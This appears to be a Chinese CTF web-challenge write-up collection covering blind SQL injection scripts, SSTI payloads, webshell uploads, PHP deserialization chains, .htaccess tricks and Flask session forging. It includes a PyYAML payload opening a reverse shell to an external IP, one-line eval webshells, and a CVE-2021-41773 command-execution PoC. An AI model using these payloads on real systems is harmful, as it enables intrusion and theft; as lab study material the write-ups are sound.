1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from turtle import rightimport requestsurl = "http://node4.anna.nssctf.cn:28299/index.php" flag = "" i = 0 while True : i = i + 1 letf = 32 right = 127 while letf < right: mid = (letf + right) // 2 payload = f"0^(ascii(substr((select(flag)from(flag)),{i} ,1))>{mid} )" data = {"id" : payload} res = requests.post(url=url, data=data).text if "Hello" in res: letf = mid + 1 else : right = mid if letf != 32 : flag += chr (letf) print (flag) else : break
[CISCN 2019华东南]Web11 考点smarty ssti
Smarty模板,不出意外应该就是ssti
ssti确定了
在这里有两个知识点:
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令
XFF头代表了HTTP的请求端真实的IP,通过修改XXF头可以实现伪造IP
[FSCTF 2023]是兄弟,就来传你の🐎! 考察文件上传,对后缀,内容长度,文件头,内容进行了过滤,最终payload如下:
BM与GIF89a一样可以作为文件头,bm是bmp的
短标签不用闭合!!!
[NSSRound#13 Basic]flask?jwt? 本质上是一道非常简单的session伪造题
但是在使用脚本时出现了一些问题导致一直报错,这里阐述一下。
1 2 3 python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True,'_i d': '323e553274b92d78b97cec1e6057e2d1e427da85e1e1d30ab94c690b84cea27289a62d7bfece7c28411e7440095785ba82b839cb6355dad9068 bdd3f73b6aac8','_user_id': '1'}"
要注意的是这里的True不能为true,同时要注意一些空格,值前要有一个空格。
错误示例如上
[GKCTF 2020]CheckIN 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <title>Check_In</title> <?php highlight_file (__FILE__ );class ClassName { public $code = null ; public $decode = null ; function __construct ( ) { $this ->code = @$this ->x ()['Ginkgo' ]; $this ->decode = @base64_decode ( $this ->code ); @Eval ($this ->decode); } public function x ( ) { return $_REQUEST ; } } new ClassName ();
1 node4.anna.nssctf.cn:28768?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==
搞一个一句话木马就好,放哥斯拉上面
发现执行不了命令,存在disable_function,可以用插件来绕过
[NCTF 2018]Easy_Audit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ );error_reporting (0 );if ($_REQUEST ){ foreach ($_REQUEST as $key => $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('waf..' ); } } if ($_SERVER ){ if (preg_match ('/yulige|flag|nctf/i' , $_SERVER ['QUERY_STRING' ])) die ('waf..' ); } if (isset ($_GET ['yulige' ])){ if (!(substr ($_GET ['yulige' ], 32 ) === md5 ($_GET ['yulige' ]))){ die ('waf..' ); }else { if (preg_match ('/nctfisfun$/' , $_GET ['nctf' ]) && $_GET ['nctf' ] !== 'nctfisfun' ){ $getflag = file_get_contents ($_GET ['flag' ]); } if (isset ($getflag ) && $getflag === 'ccc_liubi' ){ include 'flag.php' ; echo $flag ; }else die ('waf..' ); } } ?>
在这里首先对题目进行思路解析:
要以GET方法接收yulige参数,但是会被过滤
1 if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
$_SERVER[‘QUERY_STRING’]匹配的是问号后的内容,且不会进行url解码,我们可以通过url编码绕过
但是上面又存在
1 2 3 4 if($_REQUEST){ foreach ($_REQUEST as $key => $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('waf..'); }
这会匹配使对yulige的传参不能有字母,这可不行啊!!
但是我们可以发现这只是$_REQUEST,如果同时get和post,post优先,会产生变量覆盖。
然后我们需要关注的就是这里的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($_GET ['yulige' ])){ if (!(substr ($_GET ['yulige' ], 32 ) === md5 ($_GET ['yulige' ]))){ die ('waf..' ); }else { if (preg_match ('/nctfisfun$/' , $_GET ['nctf' ]) && $_GET ['nctf' ] !== 'nctfisfun' ){ $getflag = file_get_contents ($_GET ['flag' ]); } if (isset ($getflag ) && $getflag === 'ccc_liubi' ){ include 'flag.php' ; echo $flag ; }else die ('waf..' ); } }
首先要绕过md5的比较,要让自己的前32位强等于自己的md5值,采用数组绕过。因为都为NULL
然后后面的就太简单了,给出payload:
1 http://node4.anna.nssctf.cn:28809/?%79%75%6C%69%67%65[]=123&%6E%63%74%66=nnct%66isfun&%66%6C%61%67=data://text/plain,ccc_liubi
1 yulige=123&nctf=1&flag=2
[NSSRound#1 Basic]basic_check 1 <?php highlight_file (__FILE__ );
一道奇奇怪怪的题,之前没有见过,除了这个就啥都没有了,目录也什么都扫不到。
1 2 3 4 5 6 7 8 9 C:\Users\TY>curl -I -X OPTIONS "node4.anna.nssctf.cn:28934/index.php" HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 11:09:33 GMT Server: Apache/2.4.38 (Debian) DAV: 1,2 DAV: <http://apache.org/dav/propset/fs/1> MS-Author-Via: DAV Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,PUT,LOCK,UNLOCK Content-Length: 0
-X OPTIONS
-X OPTIONS
指定了请求的方法为 OPTIONS
,这是 HTTP 的一种方法,常用于查询服务器支持的 HTTP 方法(如 GET
、POST
、PUT
等)。
这条命令的作用是向 node4.anna.nssctf.cn:28934/index.php
发送一个 OPTIONS
请求,并显示响应头。
再说一下PUT、DELETE请求,PUT、DELETE请求本身最初是用来进行文件管理的,当然这个请求如果为进行鉴权处理的话就会任意执行修改和删除,PUT请求,如果不存在这个路径下的文件,将会创建,如果存在,会执行覆盖操作
拿捏了
NSSCTF{031e835f-af6a-447d-838d-6d5e5b640e8e}
[GDOUCTF 2023]hate eat snake
一道js题目,这种题一般直接给了flag在源码里,但是我找不到。这里刚开始是打不开源码的
这里可以右键->检查
先复制网页url,打开f12,再输入网址打开网页,这样f12就会保留
火狐浏览器 右边的三横->更多工具->开发者工具。
三种方法打开f12
接下来分析题目
这种js的网页,flag一般都是alert给你,那么我们接下来搜一下alert函数
不出意外这就是flag了。前面有个if比较,跟进一下getScore
那么只要让这个return的score值超级大就行,84行打断点然后空格运行游戏
然后来控制台改score的值
回车重新运行后alert出flag
[NCTF 2018]Flask PLUS
这题本来想着用fenjing,但是这种格式的好像用不太了fenjing
Aura给出一个方法:
可以先把黑名单fuzz出来,本地开一个server跑出来payload,再拼上去
虽然但是这道题比较简单直接手动了。
这里给出payload:
1 {{lipsum.__globals__['o''s']['pop''en']('tac /Th1s_is__F1114g').read()}}
[NISACTF 2022]level-up 一共有五个level,第一关是目录扫描,扫出robots.txt即可。
第二关md5碰撞,简单
第三关sha1碰撞,都是有笔记的,简单。
第四关看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 error_reporting (0 ); include "str.php" ; show_source (__FILE__ ); $str = parse_url ($_SERVER ['REQUEST_URI' ]); if ($str ['query' ] == "" ){ echo "give me a parameter" ; } if (preg_match ('/ |_|20|5f|2e|\./' ,$str ['query' ])){ die ("blacklist here" ); } if ($_GET ['NI_SA_' ] === "txw4ever" ){ die ($level5 ); } else { die ("level 4 failed ..." ); }
$_SERVER['REQUEST_URI']
是一个 PHP 超全局变量,表示当前请求的 URI(Uniform Resource Identifier)。它提供了客户端请求的完整 URI,包括路径和查询字符串部分。
http://example.com/test/page.php?name=John&age=30
输出
/test/page.php?name=John&age=30
而下划线用加号绕过即可。
最后是level5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );include "str.php" ;$a = $_GET ['a' ];$b = $_GET ['b' ];if (preg_match ('/^[a-z0-9_]*$/isD' ,$a )){ show_source (__FILE__ ); } else { $a ('' ,$b ); }
这里就要用到create_function
1 2 3 4 5 6 7 8 9 10 11 12 注释掉create_function()格式后面的’}',防止报错 #create_function(‘$a’, ‘echo(“hello”);’)的实现逻辑如下: function niming($a) { echo(“hello”); } 题目里的payload就是下面这个 function niming() { }system(‘cat /flag’);//}
因此这里的payload为
1 ?a=\create_function&b=}system('ls /');//
这里的反斜杠是绕过preg_match,同时转义c,不会对函数造成影响。
[HUBUCTF 2022 新生赛]Calculate 一道计算题,用python解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import reimport timeimport requestsurl='http://node5.anna.nssctf.cn:26952/' sess=requests.session() res=sess.get(url) while 1 : arg=re.findall('<div style="display:inline;color:#.{6}">(.)</div>' ,res.text) question='' .join(arg) print (question) answer=eval (question[:-1 ]) print (answer) time.sleep(1 ) res=sess.post(url,data={'ans' :answer}) print (res.text)
[FSCTF 2023]CanCanNeed 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class Noteasy { protected $param1 ; protected $param2 ; function __destruct ( ) { $a =$this ->param1; $b =$this ->param2; if (preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i' , $this ->param2)) { die ('this param is error!' ); } else { $a ('' , $b ); } } } if (!isset ($_GET ['file' ])){ show_source ('index.php' ); echo "Hi!Welcome to FSCTF2023!" ; } else { $file =base64_decode ($_GET ['file' ]); unserialize ($file ); } ?>
一眼丁真,create_function
1 2 3 4 5 6 7 8 <?php class Noteasy { protected $param1 ='create_function' ; protected $param2 ='}system($_POST[jwk]);//' ; } $a =new Noteasy ();echo base64_encode (serialize ($a ));
拿捏
还有一种方法
直接require也行
1 2 3 4 5 6 7 8 <?php class Noteasy { protected $param1 ='create_function' ; protected $param2 ='}require(base64_decode(ZmlsZTovLy9mbGFn));//' ; } $a =new Noteasy ();echo base64_encode (serialize ($a ));
[湖湘杯 2021 final]Penetratable 有注册登录界面,有root用户,admin用户
尝试越权改root密码,权限不够,改admin可以,猜测root只有admin可以改,那么接下来就要获得admin权限。这里直接用admin账号登录是改不了的,被禁用了。
Information界面会将信息回显到界面,那么尝试二次注入
这里直接修改密码,修改的就是admin用户的密码!
然后发现按钮不能按,f12看一下就好,自己构造数据包,这里直接看js源码就行了,里面都有
root密码成功修改成123456,登陆一下看看。
成功登录,多了一个文件下载的功能点
抓一下包看看
看看能不能任意文件下载。
目录穿越漏洞~
之前扫源码扫到过phpinfo.php,那就读取一下试试。
1 2 3 4 <?php if (md5 (@$_GET ['pass_31d5df001717' ])==='3fde6bb0541387e4ebdadf7c2ff31123' ){@eval ($_GET ['cc' ]);} ?>
正常情况下,我们应该是可以直接拿到/flag的内容的,但是这里!!他居然不让我读!权限太低了,那么接下来要做的就是提权!
先上线哥斯拉!
这里注意一个问题,他的密码cc是GET类型传参的,这不能被webshell管理工具利用,那么我们cc=eval($_POST[1]);然后把1当作密码即可。
实锤了!
提权吧接下来
拿捏!
[CISCN 2022 初赛]ezpop
用phpggc试了半天结果不行,不知道为啥
只能自己跟了,跟打0day一样。。。。不过挺好的
详情看笔记!!!说白了直接用exp就行
[NSSCTF 2022 Spring Recruit]babysql 一道布尔盲注,这里给出payload
1 2 3 4 5 6 7 tarnish'&&(ascii(substr((select/**/database()),{},1))>{})&&/**/'1'='1 tarnish'&&(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))>{})&&/**/'1'='1 tarnish'&&(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_table='flag'),{},1))>{})&&/**/'1'='1 tarnish'&&(ascii(substr((select/**/flag/**/from/**/flag),{},1))>{})&&/**/'1'='1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsimport timeurl = "http://node5.anna.nssctf.cn:28905/" flag = "" for i in range (1 ,60 ): max = 127 min = 32 while min <max : mid = (max +min )//2 payload = "tarnish'&&(ascii(substr((select/**/group_concat(flag)/**/from/**/flag),{},1))>{})&&/**/'1'='1" .format (i,mid) print (payload) data = { "username" :payload } res = requests.post(url= url,data=data) time.sleep(0.3 ) if 'flag' in res.text: min =mid+1 else : max =mid flag+=chr (min ) print (flag)
1 NSSCTF{700253f7-9510-4244-a934-a68ed47bbff4}
[HDCTF 2023]YamiYami
打开发现有三个功能点,第一个是ssrf一样的存在,第二个是上传文件,第三个是pwd
先测一下第一个
ok那读一下源码嘛!
被过滤了!!!二次url编码来绕过
1 http://node4.anna.nssctf.cn:28466/read?url=file:///%2561pp/%2561pp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 import osimport requestsimport re, random, uuidfrom flask import *from werkzeug.utils import *import yaml from urllib.request import urlopenapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random() * 233 ) app.debug = False BLACK_LIST = ["yaml" , "YAML" , "YML" , "yml" , "yamiyami" ] app.config['UPLOAD_FOLDER' ] = "/app/uploads" @app.route('/' ) def index (): session['passport' ] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a> <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/pwd">pwd</a> ''' @app.route('/pwd' ) def pwd (): return str (pwdpath) @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('app.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print (str (ex)) return 'no response' def allowed_file (filename ): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : if 'file' not in request.files: flash('No file part' ) return redirect(request.url) file = request.files['file' ] if file.filename == '' : return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/' ): os.makedirs('./uploads/' ) file.save(os.path.join(app.config['UPLOAD_FOLDER' ], filename)) return "upload successfully!" return render_template("index.html" ) @app.route('/boogipop' ) def load (): if session.get("passport" ) == "Welcome To HDCTF2023" : LoadedFile = request.args.get("file" ) if not os.path.exists(LoadedFile): return "file not exists" with open (LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else : return "No Auth bro" if __name__ == '__main__' : pwdpath = os.popen("pwd" ).read() app.run( debug=False , host="0.0.0.0" ) print (app.config['SECRET_KEY' ])
这里多了一个路由,我怎么感觉除了pwd,其他三个路由都有洞啊!!!
/read可能直接读取到flag,这里有个非预期,直接读file:///proc/1/environ直接出了flag
/upload中有os.path.join,可能造成绝对路径拼接漏洞!
1 2 3 4 5 绝对路径拼接漏洞 os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。 然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
如果flag在根目录下且名称知道,那么就拿下了
但是 ,由于此处存在secure_filename函数,所以就不行啦!!
再看看/boogipop路由,yaml.full_load(f),可能存在PyYaml反序列化
1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/boogipop' ) def load (): if session.get("passport" ) == "Welcome To HDCTF2023" : LoadedFile = request.args.get("file" ) if not os.path.exists(LoadedFile): return "file not exists" with open (LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else : return "No Auth bro"
首先这里我们面临的是session伪造
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random() * 233)
注意看这里的uuid.getnode(),uuid.getnode()
返回计算机的网络接口卡(NIC)地址 ,通常是设备的 MAC 地址。
尝试一下读取file:///sys/class/net/eth0/address
成功读取
那接下来我们用python跑一下secret_key
1 2 3 4 5 6 import randomrandom.seed(0x0242ac025360 ) print (str (random.random() * 233 ))
1 eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.Z1A35A.Asx0C_ayFAFrjis7qY4WWiXNYEU
1 eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.Z1A5HQ.XcVLAuoOz8HI6SqclVREZ0FH3dE
/boogipop路由下干的其实就是接收一个file,然后它会去查看是否存在,若存在则yaml.full_load 所以我们要先去上传一个恶意的yaml文件
由于这里是full_load()
我们要想办法去突破,用extend方法试试反弹shell
1 2 3 4 5 6 !!python/object/new:type args: - exp - !!python/tuple [] - {"extend": !!python/name:exec } listitems: "__import__('os').system('bash -c \"bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\"')"
这里我们创建一个1.txt就好了,其他后缀都被过滤了
上传到/uploads/1.txt
然后到/boogipop路由下进行反序列化即可,这里注意改session
知识点挺多的,还是非常适合学习的!!
[SWPUCTF 2021 新生赛]babyunser 打开就两个功能点
一个上传文件,一个查看文件
根据题目就知道与反序列化有关,php架构,猜测为phar反序列化。
先扫目录看看
没有什么有价值的。
那么看看查看文件这个功能点,可能和任意文件读取有关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <!DOCTYPE html > <?php include('class.php'); $a=new aa(); ?> <body > <h1 > aa的文件查看器</h1 > <form class ="search_form" action ="" method ="post" > <input type ="text" class ="input_text" placeholder ="请输入搜索内容" name ="file" > <input type ="submit" value ="查看" class ="input_sub" > </form > </body > </html > <?php error_reporting(0); $filename=$_POST['file']; if(!isset($filename)){ die(); } $file=new zz($filename); $contents=$file->getFile(); ?> <br > <textarea class ="file_content" type ="text" value =<?php echo "<br > ".$contents;?>
里面包含了class.php,那么我们再读取一下class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php class aa { public $name ; public function __construct ( ) { $this ->name='aa' ; } public function __destruct ( ) { $this ->name=strtolower ($this ->name); } } class ff { private $content ; public $func ; public function __construct ( ) { $this ->content="\<?php @eval(\$_POST[1]);?>" ; } public function __get ($key ) { $this ->$key ->{$this ->func}($_POST ['cmd' ]); } } class zz { public $filename ; public $content ='surprise' ; public function __construct ($filename ) { $this ->filename=$filename ; } public function filter ( ) { if (preg_match ('/^\/|php:|data|zip|\.\.\//i' ,$this ->filename)){ die ('这不合理' ); } } public function write ($var ) { $filename =$this ->filename; $lt =$this ->filename->$var ; } public function getFile ( ) { $this ->filter (); $contents =file_get_contents ($this ->filename); if (!empty ($contents )){ return $contents ; }else { die ("404 not found" ); } } public function __toString ( ) { $this ->{$_POST ['method' ]}($_POST ['var' ]); return $this ->content; } } class xx { public $name ; public $arg ; public function __construct ( ) { $this ->name='eval' ; $this ->arg='phpinfo();' ; } public function __call ($name ,$arg ) { $name ($arg [0 ]); } }
构造链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php class aa { public $name ; } class ff { private $content ; public $func ="assert" ; public function __construct ( ) { $this ->content=new xx (); } public function __get ($key ) { $this ->$key ->{$this ->func}($_POST ['cmd' ]); } } class zz { public $filename ; public $content ='surprise' ; public function write ($var ) { $filename =$this ->filename; $lt =$this ->filename->$var ; } public function __toString ( ) { $this ->{$_POST ['method' ]}($_POST ['var' ]); return $this ->content; } } class xx { public $name ; public $arg ; public function __construct ( ) { $this ->name='system' ; $this ->arg='ls /' ; } public function __call ($name ,$arg ) { $name ($arg [0 ]); } } $a =new aa ();$z =new zz ();$f =new ff ();$a ->name=$z ;$z ->filename=$f ;echo serialize ($a );@unlink ('test.phar' ); $phar = new Phar ('test.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER();?>' );$phar ->setMetadata ($a );$phar ->addFromString ('test.txt' ,'test' );$phar ->stopBuffering ();
1 aa::__destruct() -> zz::__toString() -> zz::write() -> ff:__get() -> xx::__call()
[HNCTF 2022 WEEK3]ssssti 这里直接给出payload
1 ?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat flag
[GFCTF 2021]Baby_Web 打开后没什么利用点,源码中说了
1 <!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->
又试了试目录穿越,不行啊。
扫扫目录看看
中间有一个/etc/passwd的神奇东西,试试
我勒个任意文件读取
此处其实是一个CVE-2021-41773
1 /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'
poc执行不了,没办法,正常打吧
读取一下上层目录的index.php.txt
1 2 3 4 5 6 7 8 <?php error_reporting (0 );define ("main" ,"main" );include "Class.php" ;$temp = new Temp ($_POST );$temp ->display ($_GET ['filename' ]);?>
不让我读??!!
为啥啊,试试之前的.txt格式,可以了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 <?php defined ('main' ) or die ("no!!" );Class Temp{ private $date =['version' =>'1.0' ,'img' =>'https://www.apache.org/img/asf-estd-1999-logo.jpg' ]; private $template ; public function __construct ($data ) { $this ->date = array_merge ($this ->date,$data ); } public function getTempName ($template ,$dir ) { if ($dir === 'admin' ){ $this ->template = str_replace ('..' ,'' ,'./template/admin/' .$template ); if (!is_file ($this ->template)){ die ("no!!" ); } } else { $this ->template = './template/index.html' ; } } public function display ($template ,$space ='' ) { extract ($this ->date); $this ->getTempName ($template ,$space ); include ($this ->template); } public function listdata ($_params ) { $system = [ 'db' => '' , 'app' => '' , 'num' => '' , 'sum' => '' , 'form' => '' , 'page' => '' , 'site' => '' , 'flag' => '' , 'not_flag' => '' , 'show_flag' => '' , 'more' => '' , 'catid' => '' , 'field' => '' , 'order' => '' , 'space' => '' , 'table' => '' , 'table_site' => '' , 'total' => '' , 'join' => '' , 'on' => '' , 'action' => '' , 'return' => '' , 'sbpage' => '' , 'module' => '' , 'urlrule' => '' , 'pagesize' => '' , 'pagefile' => '' , ]; $param = $where = []; $_params = trim ($_params ); $params = explode (' ' , $_params ); if (in_array ($params [0 ], ['list' ,'function' ])) { $params [0 ] = 'action=' .$params [0 ]; } foreach ($params as $t ) { $var = substr ($t , 0 , strpos ($t , '=' )); $val = substr ($t , strpos ($t , '=' ) + 1 ); if (!$var ) { continue ; } if (isset ($system [$var ])) { $system [$var ] = $val ; } else { $param [$var ] = $val ; } } switch ($system ['action' ]) { case 'function' : if (!isset ($param ['name' ])) { return 'hacker!!' ; } elseif (!function_exists ($param ['name' ])) { return 'hacker!!' ; } $force = $param ['force' ]; if (!$force ) { $p = []; foreach ($param as $var => $t ) { if (strpos ($var , 'param' ) === 0 ) { $n = intval (substr ($var , 5 )); $p [$n ] = $t ; } } if ($p ) { $rt = call_user_func_array ($param ['name' ], $p ); } else { $rt = call_user_func ($param ['name' ]); } return $rt ; }else { return null ; } case 'list' : return json_encode ($this ->date); } return null ; } }
首先
new Temp时会对this->date赋值,然后进入display()方法后发现有一个extract($this->date);,这可以进行变量覆盖,看后面$this->getTempName($template,$space);,跟进后发现$dir需要为admin,那么我们变量覆盖即可,POST一个space=admin,接着看后面if(!is_file($this->template)),让GET ?file=index.html即可。
然后此处include了这串php代码,调用了listdata方法,传参action=list module=$mod
这里只有$mod时可控的。
action=list&module=$mod
mod=xxx action=function
action=list module=xxx action=function force=false name=phpinfo()
这里后面传入的action把前面的list覆盖掉就可以了,用function来覆盖
1 2 GET:?filename=index.html POST:space=admin&mod=xxx action=function force=0 name=phpinfo
在phpinfo里面可以找到flag
1 NSSCTF{45956a8b-37e3-43e1-9ec0-664239b74a90}
1 2 GET:?filename=index.html POST:space=admin&mod=xxx action=function force=0 name=exec param=tac${IFS}/f11111111aaaagggg>1.txt
[羊城杯 2020]easyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } if (!isset ($_GET ['content' ]) || !isset ($_GET ['filename' ])) { highlight_file (__FILE__ ); die (); } $content = $_GET ['content' ]; if (stristr ($content ,'on' ) || stristr ($content ,'html' ) || stristr ($content ,'type' ) || stristr ($content ,'flag' ) || stristr ($content ,'upload' ) || stristr ($content ,'file' )) { echo "Hacker" ; die (); } $filename = $_GET ['filename' ]; if (preg_match ("/[^a-z\.]/" , $filename ) == 1 ) { echo "Hacker" ; die (); } $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($filename , $content . "\nHello, world" ); ?>
很好绕过
1 ?filename=b.php&content=<?php system('ls /');?>
没有解析php,为啥啊明明是php但是解析不了,可能是靶机目录环境不能解析php文件
Apache服务器
尝试用.htaccess来执行jpg文件中的php代码
但是这里被过滤了啊
1 ?filename=.htaccess&content=AddType application/x-http-php .jpg
但这个过滤是很好绕过的可以用反斜杠加%0a来绕过,但是这样的话就要求上传两次文件,而这个题目环境不能上传两次文件,因此只能上传一次.htaccess,那么能利用的就只有index.php了,这还不如直接写入index.php文件呢!但是是不能解析的。因此我们只能利用.htaccess来进行命令执行或者写马,简单!
1 php_value auto_append_fi\%0ale .htaccess%0a%23<?php system('ls /');?>\
1 ?filename=.htaccess&content=php_value auto_append_fi\%0Ale .htaccess%0A%23<?php system('tac /f*');?>\
[SCTF 2021]loginme 获得源码
过滤了俩,可以用用X-Real-IP
然后看看源码route.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package routeimport ( _ "embed" "fmt" "html/template" "loginme/structs" "loginme/templates" "strconv" "github.com/gin-gonic/gin" ) func Index (c *gin.Context) { c.HTML(200 , "index.tmpl" , gin.H{ "title" : "Try Loginme" , }) } func Login (c *gin.Context) { idString, flag := c.GetQuery("id" ) if !flag { idString = "1" } id, err := strconv.Atoi(idString) if err != nil { id = 1 } TargetUser := structs.Admin for _, user := range structs.Users { if user.Id == id { TargetUser = user } } age := TargetUser.Age if age == "" { age, flag = c.GetQuery("age" ) if !flag { age = "forever 18 (Tell me the age)" } } if err != nil { c.AbortWithError(500 , err) } html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age) if err != nil { c.AbortWithError(500 , err) } tmpl, err := template.New("admin_index" ).Parse(html) if err != nil { c.AbortWithError(500 , err) } tmpl.Execute(c.Writer, TargetUser) }
structs.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package structstype UserInfo struct { Id int Username string Age string Password string } var Users = []UserInfo{ { Id: 1 , Username: "Grandpa Lu" , Age: "22" , Password: "hack you!" , }, { Id: 2 , Username: "Longlone" , Age: "??" , Password: "i don't know" , }, { Id: 3 , Username: "Teacher Ma" , Age: "20" , Password: "guess" , }, } var Admin = UserInfo{ Id: 0 , Username: "Admin" , Age: "" , Password: "flag{}" , }
我们发现当id为0时age为空,此时age是可以由我们自己传参的,也就是可控的,后续的代码对age进行了模板渲染,存在ssti。
而在go语言中使用的是{{.name}}
代表要应用的对象,所以可以让age={{.Password}}
拿下了
[GWCTF 2019]枯燥的抽奖
网页源代码中发现js代码,存在校验界面check.php,打开看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php header ("Content-Type: text/html;charset=utf-8" );session_start ();if (!isset ($_SESSION ['seed' ])){$_SESSION ['seed' ]=rand (0 ,999999999 );} mt_srand ($_SESSION ['seed' ]);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr ($str_long1 , mt_rand (0 , strlen ($str_long1 ) - 1 ), 1 ); } $str_show = substr ($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){ echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source ("check.php" );
已知数猜种子,h5n5BBh4Rg
1 2 3 4 5 6 7 8 9 10 11 12 str1 ='h5n5BBh4Rg' str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" result ='' length = str (len (str2)-1 ) for i in range (0 ,len (str1)): for j in range (0 ,len (str2)): if str1[i] == str2[j]: result += str (j) + ' ' +str (j) + ' ' + '0' + ' ' + length + ' ' break print (result)
1 2 Let's pretend to know only the first password. We need to convert it to inputs to php_mt_seed
得到如下:
